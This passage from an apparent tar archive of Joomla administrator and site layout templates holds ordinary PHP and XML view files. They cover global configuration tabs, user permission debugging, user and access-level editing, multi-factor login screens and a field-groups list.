<form action="<?php echo Route::_('index.php?option=com_config'); ?>" id="application-form" method="post" name="adminForm" class="main-card form-validate">
    <div class="row main-card-columns">
        <div id="sidebar" class="col-md-3">
            <button class="btn btn-sm btn-secondary my-2 options-menu d-md-none" type="button" data-bs-toggle="collapse" data-bs-target=".sidebar-nav" aria-controls="sidebar-nav" aria-expanded="false" aria-label="<?php echo Text::_('JTOGGLE_SIDEBAR_MENU'); ?>">
                <span class="icon-align-justify" aria-hidden="true"></span>
                <?php echo Text::_('JTOGGLE_SIDEBAR_MENU'); ?>
            </button>
            <div id="sidebar-nav" class="sidebar-nav">
                <?php echo $this->loadTemplate('navigation'); ?>
            </div>
        </div>
        <div class="col-md-9">
            <?php echo HTMLHelper::_('uitab.startTabSet', 'configTabs', ['active' => 'page-site', 'recall' => true, 'breakpoint' => 768]); ?>
                <?php echo HTMLHelper::_('uitab.addTab', 'configTabs', 'page-site', Text::_('JSITE')); ?>
                    <?php echo $this->loadTemplate('site'); ?>
                    <?php echo $this->loadTemplate('metadata'); ?>
                    <?php echo $this->loadTemplate('seo'); ?>
                    <?php echo $this->loadTemplate('cookie'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>

                <?php echo HTMLHelper::_('uitab.addTab', 'configTabs', 'page-system', Text::_('COM_CONFIG_SYSTEM')); ?>
                    <?php echo $this->loadTemplate('debug'); ?>
                    <?php echo $this->loadTemplate('cache'); ?>
                    <?php echo $this->loadTemplate('session'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>

                <?php echo HTMLHelper::_('uitab.addTab', 'configTabs', 'page-server', Text::_('COM_CONFIG_SERVER')); ?>
                    <?php echo $this->loadTemplate('server'); ?>
                    <?php echo $this->loadTemplate('locale'); ?>
                    <?php echo $this->loadTemplate('webservices'); ?>
                    <?php echo $this->loadTemplate('proxy'); ?>
                    <?php echo $this->loadTemplate('database'); ?>
                    <?php echo $this->loadTemplate('mail'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>

                <?php echo HTMLHelper::_('uitab.addTab', 'configTabs', 'page-logging', Text::_('COM_CONFIG_LOGGING')); ?>
                    <?php echo $this->loadTemplate('logging'); ?>
                    <?php echo $this->loadTemplate('logging_custom'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>

                <?php echo HTMLHelper::_('uitab.addTab', 'configTabs', 'page-filters', Text::_('COM_CONFIG_TEXT_FILTERS')); ?>
                    <?php echo $this->loadTemplate('filters'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>

                <?php echo HTMLHelper::_('uitab.addTab', 'configTabs', 'page-permissions', Text::_('COM_CONFIG_PERMISSIONS')); ?>
                    <?php echo $this->loadTemplate('permissions'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>
            <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

            <input type="hidden" name="task" value="">
            <?php echo HTMLHelper::_('form.token'); ?>
        </div>
    </div>
</form>
application/default.xml000064400000000314151726071210011215 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONFIG_CONFIG_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CONFIG_CONFIG_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
application/default_navigation.php000064400000002002151726071210013417 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;

defined('_JEXEC') or die;
?>
<ul class="nav flex-column">
    <?php if ($this->userIsSuperAdmin) : ?>
        <li class="nav-header"><?php echo Text::_('COM_CONFIG_SYSTEM'); ?></li>
        <li class="item active">
            <a href="index.php?option=com_config"><?php echo Text::_('COM_CONFIG_GLOBAL_CONFIGURATION'); ?></a>
        </li>
        <li class="divider"></li>
    <?php endif; ?>
    <li class="nav-header"><?php echo Text::_('COM_CONFIG_COMPONENT_FIELDSET_LABEL'); ?></li>
    <?php foreach ($this->components as $component) : ?>
        <li class="item">
            <a href="index.php?option=com_config&view=component&component=<?php echo $component; ?>"><?php echo Text::_($component); ?></a>
        </li>
    <?php endforeach; ?>
</ul>
application/default_session.php000064400000001011151726071210012742 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_SESSION_SETTINGS');
$this->fieldsname = 'session';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_filters.php000064400000001012151726071210012730 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_TEXT_FILTER_SETTINGS');
$this->fieldsname = 'filters';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.text_filters', $this);
application/default_permissions.php000064400000001137151726071210013643 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name        = Text::_('COM_CONFIG_PERMISSION_SETTINGS');
$this->description = '';
$this->fieldsname  = 'permissions';
$this->formclass   = 'form-no-columns options-form';
$this->showlabel   = false;

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_seo.php000064400000001001151726071210012044 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_SEO_SETTINGS');
$this->fieldsname = 'seo';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
debuguser/default.php000064400000017746151726443500010714 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

$loginActions = [];
$actions = [];

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns');

?>
<form action="<?php echo Route::_('index.php?option=com_users&view=debuguser&user_id=' . (int) $this->state->get('user_id')); ?>" method="post" name="adminForm" id="adminForm">
    <div id="j-main-container" class="j-main-container">
        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <?php
            // Split the actions table
            foreach ($this->actions as $action) :
                $name = $action[0];
                if (in_array($name, ['core.login.site', 'core.login.admin', 'core.login.api', 'core.login.offline'])) :
                    $loginActions[] = $action;
                else :
                    $actions[] = $action;
                endif;
            endforeach;
            ?>
            <div class="d-flex flex-wrap">
                <?php foreach ($loginActions as $action) :
                    $name  = $action[0];
                    $check = $this->items[0]->checks[$name];
                    if ($check === true) :
                        $class  = 'text-success icon-check';
                        $button = 'btn-success';
                        $text   = Text::_('COM_USERS_DEBUG_EXPLICIT_ALLOW');
                    elseif ($check === false) :
                        $class  = 'text-danger icon-times';
                        $button = 'btn-danger';
                        $text   = Text::_('COM_USERS_DEBUG_EXPLICIT_DENY');
                    elseif ($check === null) :
                        $class  = 'text-danger icon-minus-circle';
                        $button = 'btn-warning';
                        $text   = Text::_('COM_USERS_DEBUG_IMPLICIT_DENY');
                    endif;
                    ?>
                <div class="d-inline p-2">
                    <?php echo Text::_($action[1]); ?>
                    <span class="<?php echo $class; ?>" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_($text); ?></span>
                </div>
                <?php endforeach; ?>
            </div>

            <table class="table">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_USERS_DEBUG_USER_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <th scope="col">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_ASSET_TITLE', 'a.title', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_ASSET_NAME', 'a.name', $listDirn, $listOrder); ?>
                        </th>
                        <?php foreach ($actions as $key => $action) : ?>
                        <th scope="col" class="w-6 text-center">
                            <?php echo Text::_($action[1]); ?>
                        </th>
                        <?php endforeach; ?>
                        <th scope="col" class="w-6">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_LFT', 'a.lft', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-3">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($this->items as $i => $item) :?>
                        <tr class="row0" scope="row">
                            <td>
                                <?php echo $this->escape(Text::_($item->title)); ?>
                            </td>
                            <td>
                                <?php echo LayoutHelper::render('joomla.html.treeprefix', ['level' => $item->level + 1]) . $this->escape($item->name); ?>
                            </td>
                            <?php foreach ($actions as $action) : ?>
                                <?php
                                $name  = $action[0];
                                $check = $item->checks[$name];
                                if ($check === true) :
                                    $class  = 'text-success icon-check';
                                    $button = 'btn-success';
                                    $text   = Text::_('COM_USERS_DEBUG_EXPLICIT_ALLOW');
                                elseif ($check === false) :
                                    $class  = 'text-danger icon-times';
                                    $button = 'btn-danger';
                                    $text   = Text::_('COM_USERS_DEBUG_EXPLICIT_DENY');
                                elseif ($check === null) :
                                    $class  = 'text-danger icon-minus-circle';
                                    $button = 'btn-warning';
                                    $text   = Text::_('COM_USERS_DEBUG_IMPLICIT_DENY');
                                else :
                                    $class  = '';
                                    $button = '';
                                    $text   = '';
                                endif;
                                ?>
                            <td class="text-center">
                                <span class="<?php echo $class; ?>" aria-hidden="true"></span>
                                <span class="visually-hidden"> <?php echo $text; ?></span>
                            </td>
                            <?php endforeach; ?>
                            <td>
                                <?php echo (int) $item->lft; ?>
                                - <?php echo (int) $item->rgt; ?>
                            </td>
                            <td>
                                <?php echo (int) $item->id; ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>

            <div class="legend">
                <span class="text-danger icon-minus-circle" aria-hidden="true"></span>&nbsp;<?php echo Text::_('COM_USERS_DEBUG_IMPLICIT_DENY'); ?>&nbsp;
                <span class="text-success icon-check" aria-hidden="true"></span>&nbsp;<?php echo Text::_('COM_USERS_DEBUG_EXPLICIT_ALLOW'); ?>&nbsp;
                <span class="text-danger icon-times" aria-hidden="true">&nbsp;</span><?php echo Text::_('COM_USERS_DEBUG_EXPLICIT_DENY'); ?>
            </div>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

            <input type="hidden" name="task" value="">
            <input type="hidden" name="boxchecked" value="0">
            <?php echo HTMLHelper::_('form.token'); ?>
        <?php endif; ?>
    </div>
</form>
user/edit.xml000064400000000300151726443500007171 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_USER_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_USERS_USER_VIEW_EDIT_DESC]]>
		</message>
	</layout>
</metadata>
user/edit.php000064400000006370151726443500007175 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\Component\Users\Administrator\View\User\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$input = Factory::getApplication()->getInput();

// Get the form fieldsets.
$fieldsets = $this->form->getFieldsets();
$settings  = [];

$this->useCoreUI = true;
?>
<form action="<?php echo Route::_('index.php?option=com_users&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="user-form" enctype="multipart/form-data" aria-label="<?php echo Text::_('COM_USERS_USER_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <h2><?php echo $this->escape($this->form->getValue('name', null, Text::_('COM_USERS_USER_NEW_USER_TITLE'))); ?></h2>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('COM_USERS_USER_ACCOUNT_DETAILS')); ?>
            <fieldset class="options-form">
                <legend><?php echo Text::_('COM_USERS_USER_ACCOUNT_DETAILS'); ?></legend>
                <div class="form-grid">
                    <?php echo $this->form->renderFieldset('user_details'); ?>
                </div>
            </fieldset>

        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php if ($this->grouplist) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'groups', Text::_('COM_USERS_ASSIGNED_GROUPS')); ?>
                <fieldset id="fieldset-groups" class="options-form">
                    <legend><?php echo Text::_('COM_USERS_ASSIGNED_GROUPS'); ?></legend>
                    <div>
                    <?php echo $this->loadTemplate('groups'); ?>
                    </div>
                </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php
        $this->ignore_fieldsets = ['user_details'];
        echo LayoutHelper::render('joomla.edit.params', $this);
        ?>

        <?php if (!empty($this->mfaConfigurationUI)) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'multifactorauth', Text::_('COM_USERS_USER_MULTIFACTOR_AUTH')); ?>
            <fieldset class="options-form">
                <legend><?php echo Text::_('COM_USERS_USER_MULTIFACTOR_AUTH'); ?></legend>
                <?php echo $this->mfaConfigurationUI ?>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>

    <input type="hidden" name="task" value="">
    <input type="hidden" name="return" value="<?php echo $input->getBase64('return'); ?>">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
user/edit_groups.php000064400000000570151726443500010570 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

echo HTMLHelper::_('access.usergroups', 'jform[groups]', $this->groups, true);
captive/default.php000064400000012633151726443500010350 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Site\Model\CaptiveModel;
use Joomla\Component\Users\Site\View\Captive\HtmlView;
use Joomla\Utilities\ArrayHelper;

/**
 * @var HtmlView     $this  View object
 * @var CaptiveModel $model The model
 */
$model = $this->getModel();

$this->document->getWebAssetManager()
    ->useScript('com_users.two-factor-focus');

?>
<div class="users-mfa-captive card card-body">
    <h2 id="users-mfa-title">
        <?php if (!empty($this->renderOptions['help_url'])) : ?>
            <span class="float-end">
        <a href="<?php echo $this->renderOptions['help_url'] ?>"
                class="btn btn-sm btn-secondary"
                target="_blank"
        >
            <span class="icon icon-question-sign" aria-hidden="true"></span>
            <span class="visually-hidden"><?php echo Text::_('JHELP') ?></span>
        </a>
        </span>
        <?php endif;?>
        <?php if (!empty($this->title)) : ?>
            <?php echo $this->title ?> <small> &ndash;
        <?php endif; ?>
        <?php if (!$this->allowEntryBatching) : ?>
            <?php echo $this->escape($this->record->title) ?>
        <?php else : ?>
            <?php echo $this->escape($this->getModel()->translateMethodName($this->record->method)) ?>
        <?php endif; ?>
        <?php if (!empty($this->title)) : ?>
        </small>
        <?php endif; ?>
    </h2>

    <?php if ($this->renderOptions['pre_message']) : ?>
        <div class="users-mfa-captive-pre-message text-muted mb-3">
            <?php echo $this->renderOptions['pre_message'] ?>
        </div>
    <?php endif; ?>

    <form action="<?php echo Route::_('index.php?option=com_users&task=captive.validate&record_id=' . ((int) $this->record->id)) ?>"
            id="users-mfa-captive-form"
            method="post"
            class="form-horizontal"
    >
        <?php echo HTMLHelper::_('form.token') ?>

        <div id="users-mfa-captive-form-method-fields">
            <?php if ($this->renderOptions['field_type'] == 'custom') : ?>
                <?php echo $this->renderOptions['html']; ?>
            <?php endif; ?>
            <div class="row mb-3">
                <?php if ($this->renderOptions['label']) : ?>
                <label for="users-mfa-code" class="col-sm-3 col-form-label">
                    <?php echo $this->renderOptions['label'] ?>
                </label>
                <?php endif; ?>
                <div class="col-sm-9 <?php echo $this->renderOptions['label'] ? '' : 'offset-sm-3' ?>">
                    <?php
                    $attributes = array_merge(
                        [
                            'type'        => $this->renderOptions['input_type'],
                            'name'        => 'code',
                            'value'       => '',
                            'placeholder' => $this->renderOptions['placeholder'] ?? null,
                            'id'          => 'users-mfa-code',
                            'class'       => 'form-control'
                        ],
                        $this->renderOptions['input_attributes']
                    );

                    if (strpos($attributes['class'], 'form-control') === false) {
                        $attributes['class'] .= ' form-control';
                    }
                    ?>
                    <input <?php echo ArrayHelper::toString($attributes) ?>>
                </div>
            </div>
        </div>

        <div id="users-mfa-captive-form-standard-buttons" class="row my-3">
            <div class="col-sm-9 offset-sm-3">
                <button class="btn btn-primary me-3 <?php echo $this->renderOptions['submit_class'] ?>"
                        id="users-mfa-captive-button-submit"
                        style="<?php echo $this->renderOptions['hide_submit'] ? 'display: none' : '' ?>"
                        type="submit">
                    <span class="<?php echo $this->renderOptions['submit_icon'] ?>" aria-hidden="true"></span>
                    <?php echo Text::_($this->renderOptions['submit_text']); ?>
                </button>

                <a href="<?php echo Route::_('index.php?option=com_users&task=user.logout&' . Factory::getApplication()->getFormToken() . '=1') ?>"
                   class="btn btn-danger btn-sm" id="users-mfa-captive-button-logout">
                    <span class="icon icon-lock" aria-hidden="true"></span>
                    <?php echo Text::_('COM_USERS_MFA_LOGOUT'); ?>
                </a>

                <?php if (count($this->records) > 1) : ?>
                    <div id="users-mfa-captive-form-choose-another" class="my-3">
                        <a href="<?php echo Route::_('index.php?option=com_users&view=captive&task=select') ?>">
                            <?php echo Text::_('COM_USERS_MFA_USE_DIFFERENT_METHOD'); ?>
                        </a>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    </form>

    <?php if ($this->renderOptions['post_message']) : ?>
        <div class="users-mfa-captive-post-message">
            <?php echo $this->renderOptions['post_message'] ?>
        </div>
    <?php endif; ?>

</div>
captive/select.php000064400000005707151726443500010207 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Users\Site\View\Captive\HtmlView;

/** @var HtmlView $this */

$shownMethods = [];

?>
<div id="com-users-select">
    <h2 id="com-users-select-heading">
        <?php echo Text::_('COM_USERS_MFA_SELECT_PAGE_HEAD'); ?>
    </h2>
    <div id="com-users-select-information">
        <p>
            <?php echo Text::_('COM_USERS_LBL_SELECT_INSTRUCTIONS'); ?>
        </p>
    </div>

    <div class="com-users-select-methods p-2">
        <?php foreach ($this->records as $record) :
            if (!array_key_exists($record->method, $this->mfaMethods) && ($record->method != 'backupcodes')) {
                continue;
            }

            $allowEntryBatching = isset($this->mfaMethods[$record->method]) ? $this->mfaMethods[$record->method]['allowEntryBatching'] : false;

            if ($this->allowEntryBatching) {
                if ($allowEntryBatching && in_array($record->method, $shownMethods)) {
                    continue;
                }
                $shownMethods[] = $record->method;
            }

            $methodName = $this->getModel()->translateMethodName($record->method);
            ?>
        <a class="com-users-method p-2 border-top border-dark bg-light d-flex flex-row flex-wrap justify-content-start align-items-center text-decoration-none gap-2 text-body"
           href="<?php echo Route::_('index.php?option=com_users&view=captive&record_id=' . $record->id)?>">
            <img src="<?php echo Uri::root() . $this->getModel()->getMethodImage($record->method) ?>"
                 alt="<?php echo $this->escape(strip_tags($record->title)) ?>"
                 class="com-users-method-image img-fluid" />
            <?php if (!$this->allowEntryBatching || !$allowEntryBatching) : ?>
                <span class="com-users-method-title flex-grow-1 fs-5 fw-bold">
                    <?php if ($record->method === 'backupcodes') : ?>
                        <?php echo $record->title ?>
                    <?php else : ?>
                        <?php echo $this->escape($record->title) ?>
                    <?php endif; ?>
                </span>
                <small class="com-users-method-name text-muted">
                    <?php echo $methodName ?>
                </small>
            <?php else : ?>
                <span class="com-users-method-title flex-grow-1 fs-5 fw-bold">
                    <?php echo $methodName ?>
                </span>
                <small class="com-users-method-name text-muted">
                    <?php echo $methodName ?>
                </small>
            <?php endif; ?>
        </a>
        <?php endforeach; ?>
    </div>
</div>
level/edit.php000064400000004320151726443500007317 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>

<form action="<?php echo Route::_('index.php?option=com_users&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="level-form" aria-label="<?php echo Text::_('COM_USERS_LEVEL_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate main-card">
    <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('COM_USERS_LEVEL_DETAILS')); ?>
            <fieldset class="options-form">
                <legend><?php echo Text::_('COM_USERS_LEVEL_DETAILS'); ?></legend>
                <div class="control-group">
                    <div class="control-label">
                        <?php echo $this->form->getLabel('title'); ?>
                    </div>
                    <div class="controls">
                        <?php echo $this->form->getInput('title'); ?>
                    </div>
                </div>
            </fieldset>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'groups', Text::_('COM_USERS_USER_GROUPS_HAVING_ACCESS')); ?>
            <fieldset class="options-form">
                <legend><?php echo Text::_('COM_USERS_USER_GROUPS_HAVING_ACCESS'); ?></legend>
                <div>
                    <?php echo HTMLHelper::_('access.usergroups', 'jform[rules]', $this->item->rules, true); ?>
                </div>
            </fieldset>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

    <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
level/edit.xml000064400000000302151726443500007324 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_LEVEL_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_USERS_LEVEL_VIEW_EDIT_DESC]]>
		</message>
	</layout>
</metadata>
groups/default.xml000064400000001052151726443500010236 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_FIELDS_GROUPS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_FIELDS_GROUPS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="extension"
				type="ComponentsFieldgroup"
				label="COM_FIELDS_CHOOSE_CONTEXT_LABEL"
				required="true"
				addfieldprefix="Joomla\Component\Fields\Administrator\Field"
				>
				<option value="">COM_MENUS_OPTION_SELECT_CONTEXT</option>
			</field>
		</fields>
	</fieldset>
</metadata>
groups/default.php000064400000026350151726443500010235 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$app       = Factory::getApplication();
$user      = Factory::getUser();
$userId    = $user->get('id');

$component = '';
$parts     = FieldsHelper::extract($this->state->get('filter.context'));

if ($parts) {
    $component = $this->escape($parts[0]);
}

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$ordering  = ($listOrder == 'a.ordering');
$saveOrder = ($listOrder == 'a.ordering' && strtolower($listDirn) == 'asc');

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_fields&task=groups.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}

$context = $this->escape($this->state->get('filter.context'));

$searchToolsOptions = [];

// Only show field contexts filter if there are more than one option
if (count($this->filterForm->getField('context')->options) > 1) {
    $searchToolsOptions['selectorFieldName'] = 'context';
}
?>

<form action="<?php echo Route::_('index.php?option=com_fields&view=groups&context=' . $context); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this, 'options' => $searchToolsOptions]); ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="fieldgroupList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_FIELDS_GROUPS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
                                </th>
                                <?php if (Multilanguage::isEnabled()) : ?>
                                    <th scope="col" class="w-5 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <th scope="col" class="w-1 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
